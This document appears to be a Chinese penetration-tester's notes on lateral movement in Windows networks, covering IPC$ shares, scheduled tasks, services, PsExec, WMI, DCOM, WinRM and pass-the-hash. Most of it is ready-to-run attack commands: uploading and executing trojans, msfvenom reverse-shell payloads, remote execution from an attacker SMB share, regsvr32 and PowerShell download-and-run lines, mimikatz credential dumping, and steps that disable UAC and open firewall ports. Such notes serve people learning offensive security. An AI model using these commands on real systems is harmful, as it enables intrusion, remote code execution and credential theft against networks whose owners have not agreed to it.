win to win横向

横向移动中如何文件传输

对目标机器的文件进行读取、下载、上传

网络共享

windows的网络共享功能,可以实现局域网内机器之间的网络共享

提供相关的认证凭据,就可以实现文件共享

windows默认的文件共享包括,C、D、E…..这些磁盘、ADMIN系统目录、IPC(满足进程之间的通信)

查看共享文件

1
net shell

image-20230117180044802

操作

我们主要用到的就是IPC共享

建立IPC共享的条件

1
2
3
4
5
开放139端口    #用于共享文件、打印机

开放445端口 #共享文件、打印机

关闭防火墙 #有待证明,下面有讲到

建立IPC连接

1
net use \\ip地址\IPC$ "密码" /user:"用户名"

查看C盘文件

1
dir \\ip地址\C$

如果对方仅仅只开启了IPC文件共享,那么建立IPC连接是可以成功的,但是无法访问文件

连接成功之后就可以上传木马,将本机的木马上传到对方的C盘

1
copy C:\Users\wo\Desktop\hobbyhorse_x64.exe \\192.168.232.132\C$

image-20230117183445671

然后提供创建计划任务或者其他方法来执行文件

计划任务

1
schtasks /create /tn "计划名字" /tr c:\artifact.exe(执行的进程的绝对路径) /sc once /st 16:11(时间) /s 192.168.10.8 /RU System

然后就会返回shell

常用的IPC命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
查看开启的共享
net share

删除某个共享
net share c$ /del

恢复共享
net share c$=c:

建立共享连接
net use \\192.168.52.143\c$ 123.com /user:administrator

使用域账号建立共享连接
net use \\192.168.52.143\c$ 域账户密码 /user:域名\域账户

查看本机已建立的共享
net use

查看远程主机的文件
dir \\192.168.52.143\c$
dir \\192.168.52.143\c$\xx文件夹

复制文件到主机c盘下
copy 文件名 \\ip\c$

删除本机所有已建立的连接
net use * /del /y

将c盘映射到本地自定义z盘
net use z: \\ip\c$

删除映射的磁盘
net use z: /del

SMB服务器

SMB服务

1
2
SMB服务主要功能是
共享 文件、打印机、串行端口、通新 等资源

在自己的服务器上,搭建SMB服务

然后将要传输的文件,放到SMB的共享目录,并且指定UNC路径

需要开启SMB匿名共享

然后让目标机器远程加载

利用impacket工具包开启

1
2
mkdir /root/share                #创建共享目录
python smbserver.py evilsmb /root/share -smb2support #创建名为evilsmb的匿名共享

windows自带工具

Windows自带的一些工具也是可以进行文件传输的

都是通过下载服务器上面布置的恶意文件,到本地目录下

certutil

是一款Windows管理证书的工具,作为证书服务的一部分安装

支持从网络中下载文件的功能

思路:在目标机器上面执行certutil命令,进行下载服务器上面预先设置的木马文件

1
certutil -urlcache -split -f 服务器地址 + 保存的地址目录

BITSAdmin

win7以后的系统自带bitsadmin工具

用于创建、下载、上传作业

1
bitsadmin /transfer test 地址 保存目录

powershell

这个工具就比较熟悉了

通过创建webclient对象,来实现下载文件

1
(New-Object Net.WebClient).DownloadFile('地址','保存地址')

创建计划任务

在有目标机管理员凭据的前提下,可以使用计划任务

首先建立IPC连接

然后利用IPC连接,来上传木马

最后创建计划任务,来执行木马

命令

1
schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F /U Administrator /p admin123

/U /P是在没有建立IPC连接的情况下使用的

/S:指定要连接的系统

/TN:指定要创建的计划任务的名称

/SC:指定计划任务执行频率

/MO:指定计划任务执行周期

/TR:指定计划任务运行的程序路径

/RU:指定计划任务运行的用户权限

/F:如果指定的任务已经存在,则强制创建

然后可以直接执行计划

1
schtasks /RUN /S ip地址 /I /TN Backdoor

也可以通过计划任务来执行主机命令,并且保存结果,然后远程读取

1
2
3
schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR :"C:\windows\system32\cmd.exe /c 'whoami > C:\result.txt'" /RU System /f

type \\ip地址\C$\result.txt

删除计划

1
schtasks /Delete /S ip地址 /TN Backdoor /F

还有一种创建计划任务的方式就是at

在小于win2012使用,schtasks是在高版本的windows使用的

1
at \\192.168.3.21 15:47 c:\add.bat

删除

1
at \\192.168.3.21 2 /delete           #2是计划任务的id

实操失败

攻击机win10

目标机win7 win2008

目标机是域用户

我在win10上面向win7用schtasks写入计划任务无法成功

一直显示拒绝访问

但是IPC可以正常连接,并且正常访问

用at写入命令就可以正常执行

解决方法如下

实操成功

上面的问题已经解决

1
2
3
schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F     #未加凭据

schtasks /Create /S 192.168.232.130 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F /U Administrator /p admin123 #加上凭据

书上说,建立ipc连接之后,是不需要加凭据的

但是

实操是需要加上凭据的,不然一直报错

image-20230202124326341

主要是,目标机器会开启UAC,此时就无法执行计划任务

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System    #路径下的EnableLUA参数,修改为0,即关闭UAC

但是

只要是administrator用户登陆,是否开启UAC,毫无影响

UNC路径加载执行

我们一般的思路都是尝试尽可能的把payload上传到目标机,但是过程肯定是有些艰难的

还有一个思路就是远程执行

UNC路径

1
\\servername\sharename\directory\filename                其中servername是服务器名、sharename是共享资源的名称、后面就是文件夹和文件

简而言之就是网络上的资源,并不是本地资源

操作

比较简单,就是利用UNC路径加载远程资源

自己搭建一个SMB服务器,并且上传payload,SMB需要设置匿名共享

然后创建计划任务,使用UNC加载远程服务器上的payload

kali为smb服务端

kali linux 为msf监听端

win10为已经攻陷的主机

win7为另外一台待横向主机

配置smb服务端

1
2
mkdir /root/share                #创建共享目录
python smbserver.py evilsmb /root/share -smb2support #创建名为evilsmb的匿名共享

image-20230202131446915

记得把木马文件放到 /root/share文件夹

配置监听

msf开启监听

image-20230202131604093

win10操作

创建计划任务

1
schtasks /Create /S 192.168.232.128 /TN Backdoor /SC minute /MO 1 /TR \\192.168.232.152\evilsmb\hobbyhorse_x64.exe /RU System /F /U liukaifeng01 /P admin                    

image-20230202132027206

之后发现主机上线

image-20230202132101178

成功

利用系统服务

创建远程服务

个人觉得和创建计划任务差不多

建立共享连接,向远程主机上传攻击载荷

利用已经建立的ipc连接,来创建系统服务

1
sc \\192.168.232.128 create Backdoor binpath= "cmd.exe /k E:\hobbyhorse_x64.exe"

启动创建的服务

1
sc \\192.168.232.128 start Backdoor

命令执行之后,会显示失败

但是

没关系,还是执行了服务

删除服务

1
sc \\192.168.232.128 delete Backdoor

SCShell

地址

1
https://github.com/SpiderLabs/SCShell

SCShell是一款无文件横向移动工具

需要知道远程主机的管理员凭据和已知的服务

原理

1
2
3
通过修改远程主机的服务配置

将已知服务的二进制路径名修改为指定的程序或者攻击载荷,然后重启服务,攻击之后会将修改的路径自动恢复

格式

1
SCShell.exe <target> <service name> <payload> <domain> <username> <password>
1
scshell.exe 192.168.232.135 defragsvc "C:\windows\system32\cmd.exe /c echo ' hello' > c:\windows\temp\hello.txt" administrator admin            #测试写入文件

实操

首先用msf生成payload

image-20230202221003882

记得一定要设置payload为windows的,它默认是python的payload

然后远程加载

1
SCShell.exe 192.168.232.135 XblAuthManager "C:\Windows\System32\cmd.exe /c C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.232.129:8080/AusSXQGs.sct scrobj.dll" hack admin

成功就会上线

但是测试失败

image-20230202221518477

1
关闭了UAC还是失败

远程桌面利用

需要开启3389端口

判断是否开启远程桌面

1
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

看结果,若为0,则表示RDP服务启动;若为1,则表示RDP服务禁用

image-20230203203306464

此结果表示禁用

本地开启远程桌面

1
2
3
4
5
6
7
8
#开启远程桌面连接功能
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

#关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

#设置防火墙策略,放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

开启远程主机的远程桌面连接功能

1
wmic /Node:192.168.232.135 /User:Administrator /Password:admin RDTOGGLE WHERE ServerName='WIN2016-WEB3' call SetAllowTSConnections 1

RDP Hijacking (远程桌面劫持)

大致意思就是,在拥有system权限的前提下,能够不需要凭据,来进行任意的用户切换

即可以不需要密码,就可以登陆主机上拥有的账户

比如,现在我用账户A登陆,且拥有system的权限

寻找其他用户会话

1
query user

执行上面命令之后,后面是有ID的

1
tscon id

这样就可以切换到其他会话

SharpRDP

这是一款开源的工具,其最大的优势在于,横向时,不用设置内网代理

将此工具上传到已经攻陷的主机,然后使用即可

地址

1
https://github.com/0xthirteen/SharpRDP

PsExec

介绍

就是一款远程控制工具

优势

微软官方提供的工具,不怕杀软

具有命令行的交互性

原理

利用SMB,连接到服务端的Admin$共享

然后释放名为psexesvc.exe的文件

注册名字为,PSEXESVC的服务

客户端执行命令时,服务端通过服务,来执行命令然后回显

运行结束之后,会自动删除生成的PSEXESVC服务

简而言之,就是自己创建一个合法的服务,通过这个服务来执行命令

条件

目标机开启Admin$共享

目标机关闭防火墙,或者放行445端口

操作

打开目标机的cmd

1
2
3
4
5
#普通用户
psexec.exe -accepteula \\192.168.232.135 -u Administrator -p admin -s cmd.exe

#域用户
psexec.exe -accepteula \\192.168.232.135 -u 域名\Administrator -p admin -s cmd.exe

image-20230203222323477

impacket工具包和msf里面都有psexec这款工具

impacket

1
psexec.py

msf

1
exploit/windows/smb/psexec

WMI

WMI是一项windows的核心管理技术

可以管理本地和远程计算机

远程传输会用到两个协议

1
2
分布式组件对象模型	DCOM
windows远程管理 WinRM

横向移动时,一般会用到两个方法

1
2
3
通过调用WMI的类方法,进行远程执行

远程部署WMI事件订阅,在特定的事件发生时触发攻击

WMI攻击条件

1
2
3
远程主机开启WMI,一般是默认开启

远程主机防火墙放行135端口,135端口是WMI的默认端口

常规利用方法

远程查询

1
2
#查询进程信息
wmic /node:192.168.232.135 /user:Administrator /password:admin process list brief

image-20230204105105725

远程创建进程

1
2
#用cmd执行命令,把结果储存到C:\result.txt
wmic /node:192.168.232.135 /user:administrator /password:admin process call create "cmd.exe /c ipconfig > C:\result.txt"

image-20230204110805993

WMIC在调用cmd执行命令时,是没有回显的,所以需要写入文件里面

image-20230204110844000

远程安装MSI文件

把恶意的MSI文件放在,SMB服务器上,在跳板机上执行命令,远程执行安装MSI文件

生成MSI恶意文件

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.129 LPORT=1111 -f msi  -o aaa.msi 

开启SMB匿名共享

1
python smbserver.py evilsmb /root/share -smb2support

image-20230204113731756

跳板机执行远程安装,加载

1
wmic /node:192.168.232.135 /user:administrator /password:admin product call install PackageLocation="\\192.168.232.152\evilsmb\aaa.msi"

即可收到会话

常见利用工具

wmiexec

执行有回显

属于impacket项目的一个工具

需要135和445端口,其中445端口开启的目的就是传输交互的信息

1
2
3
python wmiexec.py administrator:admin@192.168.232.135

python wmiexec.py <domain>/<username>:<password>@<ip>

用这个是需要安装impacket库的,但是这个库一直被防火墙拦截

image-20230204125300686

当然,如果跳板机没有python环境,也可以打包成exe文件

1
2
3
4
5
pip install pyinstaller

cd impacket\examples

pyinstaller -F wmiexec.py

exe文件的用法和py一样

Invoke-WmiCommand

Invoke-WmiCommand.ps1是powersploit的一个脚本

通过powershell来执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#远程加载Invoke-WmiCommand.psl脚本
IEX(New-Object Net.Webclient).DownloadString('http://IP地址:端口/Invoke-WmiCommand.ps1')

#指定远程系统用户
$User = "域名\用户名"

#指定用户密码
$Password = ConvertTo-SecureString -String "密码" -AsPlainText -Force

#将用户名和密码整合,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

#输入要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig命令} -Credential $Cred -ComputerName "192.168.232.135"

#输出回显
$Remote.PayloadOutput

用python开启一个http服务,来远程加载Invoke-WmiCommand.ps1

测试无法成功

WMI事件订阅的利用

主要用于权限维持,也可以用于横向

介绍

WMI的事件处理功能及其强大,几乎可以对操作系统上发生的任何事情做出响应

WMI事件订阅主要包括两大板块:事件过滤器(event filter)、事件消费者(event consumer)

1
2
3
4
5
6
当创建一个进程时
通过WMI事件订阅来执行预先设置的特定脚本

触发事件的具体条件称为“事件过滤器”

对指定事件发生所作出的响应称为“事件消费者”

所有的事件过滤器被存储在一个ROOT\subscription:_ _EventFilter对象的实例

通过创建_ _EventFilter对象实例来部署事件过滤器

事件消费者是基于ROOT\subscription:_ _EventConsumer系统派生来的类

部署事件订阅时,需要分别构建Filter和Consumer,并将二者绑在一起

使用该技术需要提供远程主机的管理员的用户凭据

手动利用

Sharp-WMIEvent

这是利用写好的powershell脚本,比手工利用更加方便

首先搭建SMB共享服务,将攻击载荷上传在共享目录

image-20230206230317392

然后在跳板机执行如下命令

1
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.232.135 -Domain aaa -User Administrator -Password admin -Command "cmd.exe / c \\192.168.232.152\evilsmb\hobbyhorse_x64.exe"

执行之后,在远程主机上会部署一个随机命名的永久事件订阅,并每隔60秒执行一次SMB共享中的载荷,使远程主机上线

DCOM的利用

COM和DCOM

com(组件对象模型)

com是微软的一套软件组件的二进制接口标准

实现跨编程语言的进程直接可以通信,可以创建动态对象

允许代码重用而无需编译

COM 中的组件是特定于平台的二进制文件,符合标准的应用程序和其他组件可以使用

使用组件服务的程序包含指向其标准化接口的指针,而不是访问组件的底层数据结构。因此,无论组件如何工作或使用何种语言编写,组件都可以相互通信

dcom(分布式组件对象模型)

dcom是com的扩展

dcom是基于com的一系列概念和程序接口

支持不同机器上的组件进行通信

可以是客户端程序对象能够请求来自网络中的另一台计算机上的服务器程序对象

可以允许应用程序实例化和访问远程计算机上的com对象

1
DCOM使用远程过程调用技术(RPC)将COM的功能扩展到本地计算机之外

综上能进行横向的就只能是DCOM

DCOM横向移动

不是说DCOM支持远程访问就能够进行横向

真正的是因为

1
部分的DCOM组件公开的接口,包含不安全的方法

常用包含不安全方法的组件

1
2
3
4
5
6
7
MMC20.Application

Excel.Application

ShellWindows

ShellBrowserWindow

查看计算机上所有的DCOM程序组件

1
2
3
Get-CimInstance Win32_DCOMApplication

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

image-20230207115402041

条件

从上面的命令可以看出,DCOM组件的横向利用,是需要powershell的

1
2
3
拥有管理器权限的powershell

未开启防火墙

MMC20.Application

MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法

可以用来启动子进程并运行执行的程序或系统命令

1
2
3
原理就是MMC20.Application会启动一个进程aaa.exe

ExecuteShellCommand可以在进程中创建子进程,子进程就可以是我们的攻击载荷

适用于win7及其以上版本

首先搭建SMB匿名共享,然后放入后门文件

1
python smbserver.py evilsmb /root/share -smb2support 

现在需要对方主机的管理员权限的powershell

1
2
3
4
runas /netonly /user:aaa\administrator powershell

a'a'a:对方主机电脑名 (可省略)
administrator:管理员组的用户的用户名

输入之后需要对方管理员的凭据

image-20230207142522182

然后执行如下命令

1
2
3
4
5
#通过ProgID与DCOM进行远程交互
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.232.136"))

#调用ExecuteShellCommand方法启动进程,运行攻击载荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c\\192.168.232.152\evilsmb\hobbyhorse_x64.exe", "minimized")

ShellWindows

shellwindows这个组件提供了Document.Application.ShellExecute方法

可以启动指定的子进程来运行指定的程序或系统命令

ShellWindows对象没有ProgID,需要使用CLSID来创建实例

需要使用OleViewDotNet来找到CLSID

1
9BA05972-F6A8-11CF-A442-00A0C90A8F39

image-20230207194006281

和MMC20.Application差不多,也是需要对方的管理员权限的powershell

1
2
3
4
runas /netonly /user:aaa\administrator powershell

aaa:对方主机电脑名 (可省略)
administrator:管理员组的用户的用户名

然后弹出拥有对方管理员权限的powershell

然后

1
2
3
4
5
#建立远程交互
$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.232.137"))

#调用shellexecute方法启动子进程,远程开启计算机程序
$com.Item().Document.Application.ShellExecute("cmd.exe","/c calc.exe", "C:\Windows\System32", $null,0)

image-20230207202751398

也可以通过SMB服务,进行远程执行恶意文件

修改这一项即可

image-20230207202909382

1
$com.Item().Document.Application.ShellExecute("cmd.exe","/c \\192.168.232.152\evilsmb\hobbyhorse_x64.exe", "C:\Windows\System32", $null,0)

image-20230207202953150

总结

不同与MMC20.Application的是,ShellWindows并不会创建新进程,而是在已有的explorer.exe进程中创建并且执行子进程

ShellBrowserWindow

同ShellWindows一样,也是调用Document.Application.ShellExecute方法,在explorer.exe进程下创建子进程

不同的是

它只适用于windows 10和windows server 2012

WinRM的利用

介绍

WinRM是通过一个叫WS-Management协议,来实现远程管理的

WS-Management协议

1
2
3
4
5
用来进行远程软硬件管理的web服务协议

在同一个网络内,允许两台计算机相互通信

对应5985端口

只要启动了服务,防火墙就会放行对应的端口,不会阻拦

在windows server 2008以上WinRM是默认开启的

Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认关闭WinRM服务

需要管理员的凭据

通过WinRM执行远程命令

要用到两个工具winrs、winrm

在首次用到这两个工具时,需要设置信任

将目标ip设置为信任ip,添加到信任列表

设置信任列表的前提是需要把跳板机网络连接改为专用网络,否则无法开启(这一点在本地测试时要注意,但是在实际的环境中,一般都是域,无需过多注意)

1
2
3
4
5
6
7
8
9
10
#打开WinRM服务
winrm quickconfig -q

#cmd设置
winrm set winrm/config/client @{TrustedHosts="ip地址"}

#powershell设置
Set-Item WSMan:localhost\client\trustedhosts -value *

其中IP地址可以设置为*,表示信任任何ip

winrs

winrs是WinRM提供的客户端程序,在双方都开启WinRM服务的前提下,可以远程执行命令

1
2
3
4
winrs -r:http://192.168.232.137:5985 -u:administrator -p:admin "whoami"

#也可以运行cmd
winrs -r:http://192.168.232.137:5985 -u:administrator -p:admin "cmd"

微软官方给出的建议

1
https://learn.microsoft.com/zh-cn/troubleshoot/windows-client/system-management-components/errors-when-you-run-winrm-commands

image-20230207231306921

image-20230208190054019

winrm.cmd

winrm.cmd运行WMI对象通过WinRM传输进行远程交互,在本地或者远程计算机上枚举WMI对象实例或调用WMI类方法

调用WMI的win32_process类中的create方法来创建进程

1
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="calc.exe"} -r:http://192.168.8.1:5985 -u:administrator -p:ADMIN!@#45

image-20230208191821182

image-20230208191918882

WinRM获取交互式会话

powershell的远程传输协议是基于WinRM的

Enter-PSSession的PowerShell Cmdlet可以启动和远程主机的会话

创建会话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#远程用户名
$User = "administrator"

#用户密码
$Password = ConvertTo-SecureString -String "ADMIN!@#45" -AsPlainText -Force

#将用户名和密码整合,以便导入credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

#创建会话
New-PSSession -Name Test -ComputerName 192.168.8.1 -Credential $Cred -Port 5985
#-Name是创建会话的命名
#-ComputerName是目标主机,可以是ip,也可以是主机名字
#-Credential是整合的凭据

image-20230208194112653

查看存在的所有会话

1
Get-PSSession

image-20230208194357863

选择会话

1
Enter-PSSession -Name Test

image-20230208194459781

这样就成功了

也可以使用Invoke-Command

1
2
3
4
5
6
7
8
9
$User = "域名\用户名"

$Password = ConvertTo-SecureString -String "ADMIN!@#45" -AsPlainText -Force

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

$Sess = New-PSSession -Name Test1 -ComputerName 192.168.8.1 -Credential $Cred -Port 5985

Invoke-Command -Session $Sess -ScriptBlock {whoami}

image-20230208195219772

成功

总结

利用WinRM进行横向移动,最出色的地方在于,服务是windows自己提供的,开启服务就不会被防火墙拦截

其次是所利用的工具组件,都是Windows自带的,不用做免杀,除非EDR拦截了winrs.exe

哈希传递攻击

在windows server 2000之后,在windows中密码都用hash值保存,想要获取明文密码是比较困难的

获取到hash值密码之后,想要得到明文,是比较困难的,因为hash算法是一个单向的算法,不可逆

但是

hash值也是可以暴力破解的

哈希传递攻击的利用

主要是mimikatz和impacket工具包里面的工具

其次就是crackmapexec、powershell、evil-winrm、metasploit框架工具等等

Mimikatz

需要具备本地管理员权限

地址

1
https://github.com/gentilkiwi/mimikatz

首先需要将mimikatz上传到目标主机

然后执行

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

得到本地主机的管理员账户hash值

image-20230208211118148

再进行尝试进行传递,可能其他主机也是这个密码

就是碰运气去试账号密码

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:sayms /ntlm:5b56663cfe976a8b6a841ff7c1abcee1" exit

Impacket

常用的几个是psexec.py、smbexec.py、wmiexec.py

当然如果跳板机有python环境就不错,如果没有,可以把python文件打包为exe文件,也是可以执行的

1
2
3
4
5
6
7
#打包python文件为exe

pip install pyinstaller

cd impacket\examples

pyinstaller -F wmiexec.py

也可以通过内网代理技术,代理到kali

以smbexec.py为例,其他两个的用法大同小异

smbexec.py

打包为exe文件

exe文件地址

1
impacket-master\examples\dist

使用

1
smbexec.exe -hashes :5b56663cfe976a8b6a841ff7c1abcee1 sayms/administrator@192.168.8.1

image-20230208214117812

就算开启防火墙,也是可以进行使用的

哈希传递登陆远程桌面

条件

远程主机开启了“受限管理员模式”

1
2
3
4
windows server 2012r2及其以上版本支持受限管理员模式
开启此模式,可以使用hash值进行远程登录,不需要明文密码

此模式在win8.1和windows server 2012r2中默认开启

使用的用户凭据处于管理员组

hash值

操作

开启受限管理员模式

1
2
3
4
5
#查询是否开启,结果为0,表示启动
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin

#开启命令
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启之后,使用mimikatz进行hash传递,然后执行“mstsc.exe /restrictedadmin”

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:sayms /ntlm:5b56663cfe976a8b6a841ff7c1abcee1" "/run:mstsc.exe /restrictedadmin"

远程执行漏洞

一些远程执行漏洞,也可以用来横向

比如

1
2
3
4
5
永恒之蓝 ms17-010

cve-2019-0708

ms08-067
查看评论